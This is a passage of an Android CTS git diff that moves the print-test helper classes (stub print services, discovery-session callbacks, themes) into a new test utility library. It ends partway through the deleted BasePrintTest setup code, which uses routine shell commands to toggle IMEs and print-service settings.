+        synchronized (sObservers) {
+            ArrayList<Observer> observers = (ArrayList<Observer>) sObservers.clone();
+
+            for (Observer observer : observers) {
+                observer.onCreate(this);
+            }
+        }
+    }
+}
diff --git a/tests/tests/print/printTestUtilLib/src/android/print/test/services/PrintServiceCallbacks.java b/tests/tests/print/printTestUtilLib/src/android/print/test/services/PrintServiceCallbacks.java
new file mode 100644
index 0000000..d2d42f2
--- /dev/null
+++ b/tests/tests/print/printTestUtilLib/src/android/print/test/services/PrintServiceCallbacks.java
@@ -0,0 +1,38 @@
+/*
+ * Copyright (C) 2014 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.print.test.services;
+
+import android.printservice.PrintJob;
+
+public abstract class PrintServiceCallbacks {
+
+    private StubbablePrintService mService;
+
+    public StubbablePrintService getService() {
+        return mService;
+    }
+
+    public void setService(StubbablePrintService service) {
+        mService = service;
+    }
+
+    public abstract PrinterDiscoverySessionCallbacks onCreatePrinterDiscoverySessionCallbacks();
+
+    public abstract void onRequestCancelPrintJob(PrintJob printJob);
+
+    public abstract void onPrintJobQueued(PrintJob printJob);
+}
diff --git a/tests/tests/print/printTestUtilLib/src/android/print/test/services/PrinterDiscoverySessionCallbacks.java b/tests/tests/print/printTestUtilLib/src/android/print/test/services/PrinterDiscoverySessionCallbacks.java
new file mode 100644
index 0000000..7b7a1b9
--- /dev/null
+++ b/tests/tests/print/printTestUtilLib/src/android/print/test/services/PrinterDiscoverySessionCallbacks.java
@@ -0,0 +1,51 @@
+/*
+ * Copyright (C) 2014 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.print.test.services;
+
+import android.os.CancellationSignal;
+import android.print.PrinterId;
+import android.printservice.CustomPrinterIconCallback;
+
+import java.util.List;
+
+public abstract class PrinterDiscoverySessionCallbacks {
+
+    private StubbablePrinterDiscoverySession mSession;
+
+    public void setSession(StubbablePrinterDiscoverySession session) {
+        mSession = session;
+    }
+
+    public StubbablePrinterDiscoverySession getSession() {
+        return mSession;
+    }
+
+    public abstract void onStartPrinterDiscovery(List<PrinterId> priorityList);
+
+    public abstract void onStopPrinterDiscovery();
+
+    public abstract void onValidatePrinters(List<PrinterId> printerIds);
+
+    public abstract void onStartPrinterStateTracking(PrinterId printerId);
+
+    public abstract void onRequestCustomPrinterIcon(PrinterId printerId,
+            CancellationSignal cancellationSignal, CustomPrinterIconCallback callback);
+
+    public abstract void onStopPrinterStateTracking(PrinterId printerId);
+
+    public abstract void onDestroy();
+}
diff --git a/tests/tests/print/printTestUtilLib/src/android/print/test/services/SecondPrintService.java b/tests/tests/print/printTestUtilLib/src/android/print/test/services/SecondPrintService.java
new file mode 100644
index 0000000..3e8a6a7
--- /dev/null
+++ b/tests/tests/print/printTestUtilLib/src/android/print/test/services/SecondPrintService.java
@@ -0,0 +1,40 @@
+/*
+ * Copyright (C) 2014 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.print.test.services;
+
+public class SecondPrintService extends StubbablePrintService {
+
+    private static final Object sLock = new Object();
+
+    private static PrintServiceCallbacks sCallbacks;
+
+    public static void setCallbacks(PrintServiceCallbacks callbacks) {
+        synchronized (sLock) {
+            sCallbacks = callbacks;
+        }
+    }
+
+    @Override
+    protected PrintServiceCallbacks getCallbacks() {
+        synchronized (sLock) {
+            if (sCallbacks != null) {
+                sCallbacks.setService(this);
+            }
+            return sCallbacks;
+        }
+    }
+}
diff --git a/tests/tests/print/printTestUtilLib/src/android/print/test/services/SettingsActivity.java b/tests/tests/print/printTestUtilLib/src/android/print/test/services/SettingsActivity.java
new file mode 100644
index 0000000..56c63fa
--- /dev/null
+++ b/tests/tests/print/printTestUtilLib/src/android/print/test/services/SettingsActivity.java
@@ -0,0 +1,28 @@
+/*
+ * Copyright (C) 2014 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.print.test.services;
+
+import android.app.Activity;
+import android.os.Bundle;
+
+public class SettingsActivity extends Activity {
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+    }
+}
diff --git a/tests/tests/print/printTestUtilLib/src/android/print/test/services/StubbablePrintService.java b/tests/tests/print/printTestUtilLib/src/android/print/test/services/StubbablePrintService.java
new file mode 100644
index 0000000..09d1f78
--- /dev/null
+++ b/tests/tests/print/printTestUtilLib/src/android/print/test/services/StubbablePrintService.java
@@ -0,0 +1,64 @@
+/*
+ * Copyright (C) 2014 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.print.test.services;
+
+import android.content.Context;
+import android.printservice.PrintJob;
+import android.printservice.PrintService;
+import android.printservice.PrinterDiscoverySession;
+
+import java.util.List;
+
+public abstract class StubbablePrintService extends PrintService {
+
+    @Override
+    public PrinterDiscoverySession onCreatePrinterDiscoverySession() {
+        PrintServiceCallbacks callbacks = getCallbacks();
+        if (callbacks != null) {
+            return new StubbablePrinterDiscoverySession(this,
+                    getCallbacks().onCreatePrinterDiscoverySessionCallbacks());
+        }
+        return null;
+    }
+
+    @Override
+    public void onRequestCancelPrintJob(PrintJob printJob) {
+        PrintServiceCallbacks callbacks = getCallbacks();
+        if (callbacks != null) {
+            callbacks.onRequestCancelPrintJob(printJob);
+        }
+    }
+
+    @Override
+    public void onPrintJobQueued(PrintJob printJob) {
+        PrintServiceCallbacks callbacks = getCallbacks();
+        if (callbacks != null) {
+            callbacks.onPrintJobQueued(printJob);
+        }
+    }
+
+    protected abstract PrintServiceCallbacks getCallbacks();
+
+    public void callAttachBaseContext(Context base) {
+        attachBaseContext(base);
+    }
+
+    public List<PrintJob> callGetActivePrintJobs() {
+        return getActivePrintJobs();
+    }
+
+}
diff --git a/tests/tests/print/printTestUtilLib/src/android/print/test/services/StubbablePrinterDiscoverySession.java b/tests/tests/print/printTestUtilLib/src/android/print/test/services/StubbablePrinterDiscoverySession.java
new file mode 100644
index 0000000..c9fb015
--- /dev/null
+++ b/tests/tests/print/printTestUtilLib/src/android/print/test/services/StubbablePrinterDiscoverySession.java
@@ -0,0 +1,95 @@
+/*
+ * Copyright (C) 2014 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.print.test.services;
+
+import android.os.CancellationSignal;
+import android.print.PrinterId;
+import android.printservice.CustomPrinterIconCallback;
+import android.printservice.PrintService;
+import android.printservice.PrinterDiscoverySession;
+import android.support.annotation.NonNull;
+
+import java.util.List;
+
+public class StubbablePrinterDiscoverySession extends PrinterDiscoverySession {
+    private final PrintService mService;
+    private final PrinterDiscoverySessionCallbacks mCallbacks;
+
+    public StubbablePrinterDiscoverySession(PrintService service,
+            PrinterDiscoverySessionCallbacks callbacks) {
+        mService = service;
+        mCallbacks = callbacks;
+        if (mCallbacks != null) {
+            mCallbacks.setSession(this);
+        }
+    }
+
+    public PrintService getService() {
+        return mService;
+    }
+
+    @Override
+    public void onStartPrinterDiscovery(@NonNull List<PrinterId> priorityList) {
+        if (mCallbacks != null) {
+            mCallbacks.onStartPrinterDiscovery(priorityList);
+        }
+    }
+
+    @Override
+    public void onStopPrinterDiscovery() {
+        if (mCallbacks != null) {
+            mCallbacks.onStopPrinterDiscovery();
+        }
+    }
+
+    @Override
+    public void onValidatePrinters(@NonNull List<PrinterId> printerIds) {
+        if (mCallbacks != null) {
+            mCallbacks.onValidatePrinters(printerIds);
+        }
+    }
+
+    @Override
+    public void onStartPrinterStateTracking(@NonNull PrinterId printerId) {
+        if (mCallbacks != null) {
+            mCallbacks.onStartPrinterStateTracking(printerId);
+        }
+    }
+
+    @Override
+    public void onRequestCustomPrinterIcon(@NonNull PrinterId printerId,
+            @NonNull CancellationSignal cancellationSignal,
+            @NonNull CustomPrinterIconCallback callback) {
+        if (mCallbacks != null) {
+            mCallbacks.onRequestCustomPrinterIcon(printerId, cancellationSignal, callback);
+        }
+    }
+
+    @Override
+    public void onStopPrinterStateTracking(@NonNull PrinterId printerId) {
+        if (mCallbacks != null) {
+            mCallbacks.onStopPrinterStateTracking(printerId);
+        }
+    }
+
+    @Override
+    public void onDestroy() {
+        if (mCallbacks != null) {
+            mCallbacks.onDestroy();
+        }
+    }
+}
diff --git a/tests/tests/print/res/values/themes.xml b/tests/tests/print/res/values/themes.xml
index f5c9b977..07e228c 100644
--- a/tests/tests/print/res/values/themes.xml
+++ b/tests/tests/print/res/values/themes.xml
@@ -17,7 +17,12 @@
 -->
 
 <resources>
-    <style name="Theme.Translucent" parent="@android:style/Theme.DeviceDefault">
+    <style name="NoAnimationTranslucent" parent="@android:style/Theme.DeviceDefault">
         <item name="android:windowIsTranslucent">true</item>
+        <item name="android:windowAnimationStyle">@null</item>
+    </style>
+
+    <style name="NoAnimation" parent="@android:style/Theme.DeviceDefault">
+        <item name="android:windowAnimationStyle">@null</item>
     </style>
 </resources>
diff --git a/tests/tests/print/res/xml/printservice.xml b/tests/tests/print/res/xml/printservice.xml
index 78c7504..07f7d6c 100644
--- a/tests/tests/print/res/xml/printservice.xml
+++ b/tests/tests/print/res/xml/printservice.xml
@@ -17,6 +17,6 @@
 -->
 
 <print-service xmlns:android="http://schemas.android.com/apk/res/android"
-     android:settingsActivity="android.print.cts.services.SettingsActivity"
-     android:addPrintersActivity="android.print.cts.services.AddPrintersActivity"
-     android:advancedPrintOptionsActivity="android.print.cts.services.CustomPrintOptionsActivity"/>
+     android:settingsActivity="android.print.test.services.SettingsActivity"
+     android:addPrintersActivity="android.print.test.services.AddPrintersActivity"
+     android:advancedPrintOptionsActivity="android.print.test.services.CustomPrintOptionsActivity"/>
diff --git a/tests/tests/print/src/android/print/cts/BasePrintTest.java b/tests/tests/print/src/android/print/cts/BasePrintTest.java
deleted file mode 100644
index db1efd7..0000000
--- a/tests/tests/print/src/android/print/cts/BasePrintTest.java
+++ /dev/null
@@ -1,1105 +0,0 @@
-/*
- * Copyright (C) 2014 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.print.cts;
-
-import static android.content.pm.PackageManager.GET_META_DATA;
-import static android.content.pm.PackageManager.GET_SERVICES;
-import static android.print.cts.Utils.getPrintManager;
-
-import static org.junit.Assert.assertFalse;
-import static org.junit.Assert.assertTrue;
-import static org.junit.Assert.fail;
-import static org.junit.Assume.assumeTrue;
-import static org.mockito.Matchers.any;
-import static org.mockito.Matchers.eq;
-import static org.mockito.Mockito.doAnswer;
-import static org.mockito.Mockito.doCallRealMethod;
-import static org.mockito.Mockito.mock;
-import static org.mockito.Mockito.when;
-import static org.mockito.hamcrest.MockitoHamcrest.argThat;
-
-import android.app.Activity;
-import android.app.Instrumentation;
-import android.content.ComponentName;
-import android.content.Intent;
-import android.content.pm.PackageManager;
-import android.content.pm.ResolveInfo;
-import android.content.res.Resources;
-import android.graphics.pdf.PdfDocument;
-import android.os.Bundle;
-import android.os.CancellationSignal;
-import android.os.ParcelFileDescriptor;
-import android.os.SystemClock;
-import android.print.PageRange;
-import android.print.PrintAttributes;
-import android.print.PrintDocumentAdapter;
-import android.print.PrintDocumentAdapter.LayoutResultCallback;
-import android.print.PrintDocumentAdapter.WriteResultCallback;
-import android.print.PrintDocumentInfo;
-import android.print.PrinterId;
-import android.print.cts.services.PrintServiceCallbacks;
-import android.print.cts.services.PrinterDiscoverySessionCallbacks;
-import android.print.cts.services.StubbablePrintService;
-import android.print.cts.services.StubbablePrinterDiscoverySession;
-import android.print.pdf.PrintedPdfDocument;
-import android.printservice.CustomPrinterIconCallback;
-import android.printservice.PrintJob;
-import android.provider.Settings;
-import android.support.annotation.NonNull;
-import android.support.annotation.Nullable;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.uiautomator.By;
-import android.support.test.uiautomator.UiDevice;
-import android.support.test.uiautomator.UiObject;
-import android.support.test.uiautomator.UiObjectNotFoundException;
-import android.support.test.uiautomator.UiSelector;
-import android.util.Log;
-import android.util.SparseArray;
-
-import com.android.compatibility.common.util.SystemUtil;
-
-import org.hamcrest.BaseMatcher;
-import org.hamcrest.Description;
-import org.junit.After;
-import org.junit.AfterClass;
-import org.junit.Before;
-import org.junit.BeforeClass;
-import org.junit.Rule;
-import org.junit.rules.TestRule;
-import org.junit.runners.model.Statement;
-import org.mockito.InOrder;
-import org.mockito.stubbing.Answer;
-
-import java.io.BufferedReader;
-import java.io.ByteArrayOutputStream;
-import java.io.FileInputStream;
-import java.io.FileOutputStream;
-import java.io.IOException;
-import java.io.InputStreamReader;
-import java.lang.annotation.Annotation;
-import java.lang.annotation.ElementType;
-import java.lang.annotation.Retention;
-import java.lang.annotation.RetentionPolicy;
-import java.lang.annotation.Target;
-import java.util.ArrayList;
-import java.util.List;
-import java.util.concurrent.TimeoutException;
-import java.util.concurrent.atomic.AtomicInteger;
-
-/**
- * This is the base class for print tests.
- */
-public abstract class BasePrintTest {
-    private final static String LOG_TAG = "BasePrintTest";
-
-    static final long OPERATION_TIMEOUT_MILLIS = 60000;
-    static final String PRINT_JOB_NAME = "Test";
-    static final String TEST_ID = "BasePrintTest.EXTRA_TEST_ID";
-
-    private static final String PRINT_SPOOLER_PACKAGE_NAME = "com.android.printspooler";
-    private static final String PM_CLEAR_SUCCESS_OUTPUT = "Success";
-    private static final String COMMAND_LIST_ENABLED_IME_COMPONENTS = "ime list -s";
-    private static final String COMMAND_PREFIX_ENABLE_IME = "ime enable ";
-    private static final String COMMAND_PREFIX_DISABLE_IME = "ime disable ";
-    private static final int CURRENT_USER_ID = -2; // Mirrors UserHandle.USER_CURRENT
-    private static final String PRINTSPOOLER_PACKAGE = "com.android.printspooler";
-
-    private static final AtomicInteger sLastTestID = new AtomicInteger();
-    private int mTestId;
-    private PrintDocumentActivity mActivity;
-
-    private static String sDisabledPrintServicesBefore;
-
-    private static final SparseArray<BasePrintTest> sIdToTest = new SparseArray<>();
-
-    public final @Rule ShouldStartActivity mShouldStartActivityRule = new ShouldStartActivity();
-
-    /**
-     * Return the UI device
-     *
-     * @return the UI device
-     */
-    public UiDevice getUiDevice() {
-        return UiDevice.getInstance(getInstrumentation());
-    }
-
-    private CallCounter mCancelOperationCounter;
-    private CallCounter mLayoutCallCounter;
-    private CallCounter mWriteCallCounter;
-    private CallCounter mWriteCancelCallCounter;
-    private CallCounter mFinishCallCounter;
-    private CallCounter mPrintJobQueuedCallCounter;
-    private CallCounter mCreateSessionCallCounter;
-    private CallCounter mDestroySessionCallCounter;
-    private CallCounter mDestroyActivityCallCounter = new CallCounter();
-    private CallCounter mCreateActivityCallCounter = new CallCounter();
-
-    private static String[] sEnabledImes;
-
-    private static String[] getEnabledImes() throws IOException {
-        List<String> imeList = new ArrayList<>();
-
-        ParcelFileDescriptor pfd = getInstrumentation().getUiAutomation()
-                .executeShellCommand(COMMAND_LIST_ENABLED_IME_COMPONENTS);
-        try (BufferedReader reader = new BufferedReader(
-                new InputStreamReader(new FileInputStream(pfd.getFileDescriptor())))) {
-
-            String line;
-            while ((line = reader.readLine()) != null) {
-                imeList.add(line);
-            }
-        }
-
-        String[] imeArray = new String[imeList.size()];
-        imeList.toArray(imeArray);
-
-        return imeArray;
-    }
-
-    private static void disableImes() throws Exception {
-        sEnabledImes = getEnabledImes();
-        for (String ime : sEnabledImes) {
-            String disableImeCommand = COMMAND_PREFIX_DISABLE_IME + ime;
-            SystemUtil.runShellCommand(getInstrumentation(), disableImeCommand);
-        }
-    }
-
-    private static void enableImes() throws Exception {
-        for (String ime : sEnabledImes) {
-            String enableImeCommand = COMMAND_PREFIX_ENABLE_IME + ime;
-            SystemUtil.runShellCommand(getInstrumentation(), enableImeCommand);
-        }
-        sEnabledImes = null;
-    }
-
-    protected static Instrumentation getInstrumentation() {
-        return InstrumentationRegistry.getInstrumentation();
-    }
-
-    @BeforeClass
-    public static void setUpClass() throws Exception {
-        Log.d(LOG_TAG, "setUpClass()");
-
-        Instrumentation instrumentation = getInstrumentation();
-
-        // Make sure we start with a clean slate.
-        Log.d(LOG_TAG, "clearPrintSpoolerData()");
-        clearPrintSpoolerData();
-        Log.d(LOG_TAG, "disableImes()");
-        disableImes();
-        Log.d(LOG_TAG, "disablePrintServices()");
-        disablePrintServices(instrumentation.getTargetContext().getPackageName());
-
-        // Workaround for dexmaker bug: https://code.google.com/p/dexmaker/issues/detail?id=2
-        // Dexmaker is used by mockito.
-        System.setProperty("dexmaker.dexcache", instrumentation
-                .getTargetContext().getCacheDir().getPath());
-
-        Log.d(LOG_TAG, "setUpClass() done");
-    }
-
-    /**
-     * Disable all print services beside the ones we want to leave enabled.
-     *
-     * @param packageToLeaveEnabled The package of the services to leave enabled.
-     */
-    private static void disablePrintServices(@NonNull String packageToLeaveEnabled)
-            throws IOException {
-        Instrumentation instrumentation = getInstrumentation();
-
-        sDisabledPrintServicesBefore = SystemUtil.runShellCommand(instrumentation,
-                "settings get secure " + Settings.Secure.DISABLED_PRINT_SERVICES);
-
-        Intent printServiceIntent = new Intent(android.printservice.PrintService.SERVICE_INTERFACE);
-        List<ResolveInfo> installedServices = instrumentation.getContext().getPackageManager()
-                .queryIntentServices(printServiceIntent, GET_SERVICES | GET_META_DATA);
-
-        StringBuilder builder = new StringBuilder();
-        for (ResolveInfo service : installedServices) {
-            if (packageToLeaveEnabled.equals(service.serviceInfo.packageName)) {
-                continue;
-            }
-            if (builder.length() > 0) {
-                builder.append(":");
-            }
-            builder.append(new ComponentName(service.serviceInfo.packageName,
-                    service.serviceInfo.name).flattenToString());
-        }
-
-        SystemUtil.runShellCommand(instrumentation, "settings put secure "
-                + Settings.Secure.DISABLED_PRINT_SERVICES + " " + builder);
-    }
-
-    /**
-     * Revert {@link #disablePrintServices(String)}
-     */
-    private static  void enablePrintServices() throws IOException {
-        SystemUtil.runShellCommand(getInstrumentation(),
-                "settings put secure " + Settings.Secure.DISABLED_PRINT_SERVICES + " "
-                        + sDisabledPrintServicesBefore);
-    }
-
-    @Before
-    public void setUp() throws Exception {
-        Log.d(LOG_TAG, "setUp()");
-
-        assumeTrue(getInstrumentation().getContext().getPackageManager().hasSystemFeature(
-                PackageManager.FEATURE_PRINTING));
-
-        // Initialize the latches.
-        Log.d(LOG_TAG, "init counters");
-        mCancelOperationCounter = new CallCounter();
-        mLayoutCallCounter = new CallCounter();
-        mFinishCallCounter = new CallCounter();
-        mWriteCallCounter = new CallCounter();
-        mWriteCancelCallCounter = new CallCounter();
-        mFinishCallCounter = new CallCounter();
-        mPrintJobQueuedCallCounter = new CallCounter();
-        mCreateSessionCallCounter = new CallCounter();
-        mDestroySessionCallCounter = new CallCounter();
-
-        mTestId = sLastTestID.incrementAndGet();
-        sIdToTest.put(mTestId, this);
-
-        // Create the activity if needed
-        if (!mShouldStartActivityRule.noActivity) {
-            createActivity();
-        }
-
-        Log.d(LOG_TAG, "setUp() done");
-    }
-
-    @After
-    public void tearDown() throws Exception {
-        Log.d(LOG_TAG, "tearDown()");
-
-        finishActivity();
-
-        sIdToTest.remove(mTestId);
-
-        Log.d(LOG_TAG, "tearDown() done");
-    }
-
-    @AfterClass
-    public static void tearDownClass() throws Exception {
-        Log.d(LOG_TAG, "tearDownClass()");
-
-        Instrumentation instrumentation = getInstrumentation();
-
-        Log.d(LOG_TAG, "enablePrintServices()");
-        enablePrintServices();
-
-        Log.d(LOG_TAG, "enableImes()");
-        enableImes();
-
-        // Make sure the spooler is cleaned, this also un-approves all services
-        Log.d(LOG_TAG, "clearPrintSpoolerData()");
-        clearPrintSpoolerData();
-
-        SystemUtil.runShellCommand(instrumentation, "settings put secure "
-                    + Settings.Secure.DISABLED_PRINT_SERVICES + " null");
-
-        Log.d(LOG_TAG, "tearDownClass() done");
-    }
-
-    protected void print(final PrintDocumentAdapter adapter, final PrintAttributes attributes) {
-        print(adapter, "Print job", attributes);
-    }
-
-    protected void print(PrintDocumentAdapter adapter) {
-        print(adapter, (PrintAttributes) null);
-    }
-
-    protected void print(PrintDocumentAdapter adapter, String printJobName) {
-        print(adapter, printJobName, null);
-    }
-
-    /**
-     * Start printing
-     *
-     * @param adapter      Adapter supplying data to print
-     * @param printJobName The name of the print job
-     */
-    protected void print(@NonNull PrintDocumentAdapter adapter, @NonNull String printJobName,
-            @Nullable PrintAttributes attributes) {
-        // Initiate printing as if coming from the app.
-        getInstrumentation()
-                .runOnMainSync(() -> getPrintManager(getActivity()).print(printJobName, adapter,
-                        attributes));
-    }
-
-    void onCancelOperationCalled() {
-        mCancelOperationCounter.call();
-    }
-
-    void onLayoutCalled() {
-        mLayoutCallCounter.call();
-    }
-
-    int getWriteCallCount() {
-        return mWriteCallCounter.getCallCount();
-    }
-
-    protected void onWriteCalled() {
-        mWriteCallCounter.call();
-    }
-
-    protected void onWriteCancelCalled() {
-        mWriteCancelCallCounter.call();
-    }
-
-    void onFinishCalled() {
-        mFinishCallCounter.call();
-    }
-
-    void onPrintJobQueuedCalled() {
-        mPrintJobQueuedCallCounter.call();
-    }
-
-    void onPrinterDiscoverySessionCreateCalled() {
-        mCreateSessionCallCounter.call();
-    }
-
-    protected void onPrinterDiscoverySessionDestroyCalled() {
-        mDestroySessionCallCounter.call();
-    }
-
-    void waitForCancelOperationCallbackCalled() {
-        waitForCallbackCallCount(mCancelOperationCounter, 1,
-                "Did not get expected call to onCancel for the current operation.");
-    }
-
-    void waitForPrinterDiscoverySessionCreateCallbackCalled() {
-        waitForCallbackCallCount(mCreateSessionCallCounter, 1,
-                "Did not get expected call to onCreatePrinterDiscoverySession.");
-    }
-
-    void waitForPrinterDiscoverySessionDestroyCallbackCalled(int count) {
-        waitForCallbackCallCount(mDestroySessionCallCounter, count,
-                "Did not get expected call to onDestroyPrinterDiscoverySession.");
-    }
-
-    void waitForServiceOnPrintJobQueuedCallbackCalled(int count) {
-        waitForCallbackCallCount(mPrintJobQueuedCallCounter, count,
-                "Did not get expected call to onPrintJobQueued.");
-    }
-
-    void waitForAdapterFinishCallbackCalled() {
-        waitForCallbackCallCount(mFinishCallCounter, 1,
-                "Did not get expected call to finish.");
-    }
-
-    void waitForLayoutAdapterCallbackCount(int count) {
-        waitForCallbackCallCount(mLayoutCallCounter, count,
-                "Did not get expected call to layout.");
-    }
-
-    void waitForWriteAdapterCallback(int count) {
-        waitForCallbackCallCount(mWriteCallCounter, count, "Did not get expected call to write.");
-    }
-
-    void waitForWriteCancelCallback(int count) {
-        waitForCallbackCallCount(mWriteCancelCallCounter, count,
-                "Did not get expected cancel of write.");
-    }
-
-    private static void waitForCallbackCallCount(CallCounter counter, int count, String message) {
-        try {
-            counter.waitForCount(count, OPERATION_TIMEOUT_MILLIS);
-        } catch (TimeoutException te) {
-            fail(message);
-        }
-    }
-
-    /**
-     * Indicate the print activity was created.
-     */
-    static void onActivityCreateCalled(int testId, PrintDocumentActivity activity) {
-        synchronized (sIdToTest) {
-            BasePrintTest test = sIdToTest.get(testId);
-            if (test != null) {
-                test.mActivity = activity;
-                test.mCreateActivityCallCounter.call();
-            }
-        }
-    }
-
-    /**
-     * Indicate the print activity was destroyed.
-     */
-    static void onActivityDestroyCalled(int testId) {
-        synchronized (sIdToTest) {
-            BasePrintTest test = sIdToTest.get(testId);
-            if (test != null) {
-                test.mDestroyActivityCallCounter.call();
-            }
-        }
-    }
-
-    private void finishActivity() {
-        Activity activity = mActivity;
-
-        if (activity != null) {
-            if (!activity.isFinishing()) {
-                activity.finish();
-            }
-
-            while (!activity.isDestroyed()) {
-                int creates = mCreateActivityCallCounter.getCallCount();
-                waitForCallbackCallCount(mDestroyActivityCallCounter, creates,
-                        "Activity was not destroyed");
-            }
-        }
-    }
-
-    /**
-     * Get the number of ties the print activity was destroyed.
-     *
-     * @return The number of onDestroy calls on the print activity.
-     */
-    int getActivityDestroyCallbackCallCount() {
-        return mDestroyActivityCallCounter.getCallCount();
-    }
-
-    /**
-     * Get the number of ties the print activity was created.
-     *
-     * @return The number of onCreate calls on the print activity.
-     */
-    private int getActivityCreateCallbackCallCount() {
-        return mCreateActivityCallCounter.getCallCount();
-    }
-
-    /**
-     * Wait until create was called {@code count} times.
-     *
-     * @param count The number of create calls to expect.
-     */
-    private void waitForActivityCreateCallbackCalled(int count) {
-        waitForCallbackCallCount(mCreateActivityCallCounter, count,
-                "Did not get expected call to create.");
-    }
-
-    /**
-     * Reset all counters.
-     */
-    void resetCounters() {
-        mCancelOperationCounter.reset();
-        mLayoutCallCounter.reset();
-        mWriteCallCounter.reset();
-        mWriteCancelCallCounter.reset();
-        mFinishCallCounter.reset();
-        mPrintJobQueuedCallCounter.reset();
-        mCreateSessionCallCounter.reset();
-        mDestroySessionCallCounter.reset();
-        mDestroyActivityCallCounter.reset();
-        mCreateActivityCallCounter.reset();
-    }
-
-    void selectPrinter(String printerName) throws UiObjectNotFoundException, IOException {
-        try {
-            long delay = 1;
-            while (true) {
-                try {
-                    UiDevice uiDevice = getUiDevice();
-                    UiObject destinationSpinner = uiDevice.findObject(new UiSelector()
-                            .resourceId("com.android.printspooler:id/destination_spinner"));
-
-                    destinationSpinner.click();
-                    getUiDevice().waitForIdle();
-
-                    // Give spinner some time to expand
-                    try {
-                        Thread.sleep(delay);
-                    } catch (InterruptedException e) {
-                        // ignore
-                    }
-
-                    // try to select printer
-                    UiObject printerOption = uiDevice.findObject(
-                            new UiSelector().text(printerName));
-                    printerOption.click();
-                } catch (UiObjectNotFoundException e) {
-                    Log.e(LOG_TAG, "Could not select printer " + printerName, e);
-                }
-
-                getUiDevice().waitForIdle();
-
-                if (!printerName.equals("All printers…")) {
-                    // Make sure printer is selected
-                    if (getUiDevice().hasObject(By.text(printerName))) {
-                        break;
-                    } else {
-                        if (delay <= OPERATION_TIMEOUT_MILLIS) {
-                            Log.w(LOG_TAG, "Cannot find printer " + printerName + ", retrying.");
-                            delay *= 2;
-                        } else {
-                            throw new UiObjectNotFoundException(
-                                    "Could find printer " + printerName +
-                                            " even though we retried");
-                        }
-                    }
-                } else {
-                    break;
-                }
-            }
-        } catch (UiObjectNotFoundException e) {
-            dumpWindowHierarchy();
-            throw e;
-        }
-    }
-
-    void answerPrintServicesWarning(boolean confirm) throws UiObjectNotFoundException {
-        UiObject button;
-        if (confirm) {
-            button = getUiDevice().findObject(new UiSelector().resourceId("android:id/button1"));
-        } else {
-            button = getUiDevice().findObject(new UiSelector().resourceId("android:id/button2"));
-        }
-        button.click();
-    }
-
-    void changeOrientation(String orientation) throws UiObjectNotFoundException, IOException {
-        try {
-            UiDevice uiDevice = getUiDevice();
-            UiObject orientationSpinner = uiDevice.findObject(new UiSelector().resourceId(
-                    "com.android.printspooler:id/orientation_spinner"));
-            orientationSpinner.click();
-            UiObject orientationOption = uiDevice.findObject(new UiSelector().text(orientation));
-            orientationOption.click();
-        } catch (UiObjectNotFoundException e) {
-            dumpWindowHierarchy();
-            throw e;
-        }
-    }
-
-    protected String getOrientation() throws UiObjectNotFoundException, IOException {
-        try {
-            UiObject orientationSpinner = getUiDevice().findObject(new UiSelector().resourceId(
-                    "com.android.printspooler:id/orientation_spinner"));
-            return orientationSpinner.getText();
